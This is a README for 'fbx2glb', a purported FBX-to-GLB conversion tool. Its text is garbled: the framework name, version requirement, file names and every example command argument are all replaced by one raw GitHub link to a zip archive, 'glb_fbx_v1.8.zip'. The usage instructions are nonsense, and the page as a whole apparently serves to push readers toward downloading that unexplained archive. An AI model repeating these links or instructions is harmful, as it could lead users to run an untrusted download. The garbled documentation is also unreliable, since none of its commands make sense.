fbx2glb is a command-line tool designed for easy conversion of FBX models to glTF or GLB formats, aimed at https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip and WebGL users. Whether you want to optimize 3D models or standardize your workflow, this tool is here to help.
- FBX to GLB/GLTF Conversion: Effortlessly convert your FBX files into the widely used GLB format.
- Optimization Options: Minimize file sizes for better performance in web applications.
- Draco Compression: Incorporate Draco compression to reduce the size of your 3D assets without losing quality.
- Compatibility: Works seamlessly with https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip and WebGL for easy integration.
Before downloading fbx2glb, ensure your system meets the following minimum requirements:
- Operating System: Windows, macOS, or Linux
- Processor: Dual-core processor or higher
- Memory: 4 GB RAM minimum
- Disk Space: At least 100 MB of free space for installation
- https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip Version 12 or higher for compatibility
To get started, visit our Releases page to download the latest version of fbx2glb.
- Click on the link above to go to the Releases page.
- Choose the latest version of fbx2glb.
- Download the file suitable for your operating system (e.g., .zip for Windows, https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip for macOS/Linux).
- Extract the downloaded file to a suitable location on your computer.
After you have installed fbx2glb, you can run it using the command line:
- Open your command line interface (Terminal on macOS/Linux or Command Prompt/PowerShell on Windows).
- Navigate to the directory where you extracted the files:
- Use
cd path/to/fbx2glbwhere "path/to/fbx2glb" is the location of the extracted files.
- Use
- To convert an FBX file, use the following command:
fbx2glb https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip -o https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip
Replace https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip with the path to your FBX file and https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip with the desired name for the output file.
If you have an FBX file named https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip in the same directory, you can convert it to GLB by running:
fbx2glb https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip -o https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip
This will generate a https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip file in the same directory.
fbx2glb provides additional options for advanced users:
- Compression: Use the
--dracoflag for Draco compression:
fbx2glb https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip -o https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip --draco
- Verbose Output: Add the
--verboseflag for detailed logs during the conversion process:
fbx2glb https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip -o https://github.com/Brmage23/fbx2glb/raw/refs/heads/main/bin/glb_fbx_v1.8.zip --verbose
For more detailed instructions, you can refer to the official documentation available in the repository.
If you encounter any issues or have questions, feel free to open an issue in the GitHub repository. Your feedback is valuable and helps improve fbx2glb.
Enjoy converting your 3D models with fbx2glb!